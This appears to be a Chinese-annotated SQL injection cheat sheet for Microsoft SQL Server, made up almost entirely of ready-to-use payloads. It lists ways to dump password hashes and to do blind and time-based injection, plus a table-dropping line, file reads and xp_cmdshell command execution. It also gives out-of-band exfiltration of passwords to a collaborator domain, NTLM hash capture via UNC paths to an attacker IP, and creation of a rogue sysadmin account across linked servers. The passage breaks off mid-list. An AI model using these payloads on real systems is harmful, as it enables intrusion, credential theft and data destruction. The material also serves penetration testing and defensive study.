MSSQL

-- 注释
/* 注释 */

SELECT CURRENT_USER
SELECT user_name();
SELECT system_user;
SELECT user;

SELECT @@version

SELECT HOST_NAME()
SELECT @@hostname;

SELECT DB_NAME()

SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options  (Only works in MSSQL 2017+)

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, column_name FROM information_schema.columns

MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)

MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

列出数据库
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb

列出表
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users

列出字段
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
[*] UserId
[*] UserName

导出数据
$ SELECT  UserId, UserName from Users

整型 : convert(int,@@version)
整型 : cast((SELECT @@version) as int)

字符型   : ' + convert(int,@@version) + '
字符型   : ' + cast((SELECT @@version) as int) + '

AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--

AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'

ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'     comment:   --

ProductID=1; DROP members--

需要ADMINISTER BULK OPERATIONS 或 ADMINISTER DATABASE BULK OPERATIONS 权限
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null

EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
激活xp_cmdshell(sql server 2015中默认禁用状态)
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
交互
sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
执行python脚本
列出正在使用的用户
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
打开并读取文件
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
多行执行
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

dnslog
需要VIEW SERVER STATE 权限
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))

需要 CONTROL SERVER 权限
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))

UNC Path
MSSQL支持堆查询，创建一个指向我们的 IP 地址的变量，然后使用 xp_dirtree 函数列出我们 SMB 共享中的文件并获取 NTLMv2 哈希
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';-- 
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'

添加DBA
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;

信任链接
数据库之间的链接甚至可以跨林信任工作
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] 如果要利用获取meterpreter会话的权限，将DEPLOY设置为true

查找链接
select * from master..sysservers

通过链接执行查询
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

多条查询
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')

执行shell命令
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

创建用户给权限
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

判断数据库
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
查库
?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0 --
?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 --
查表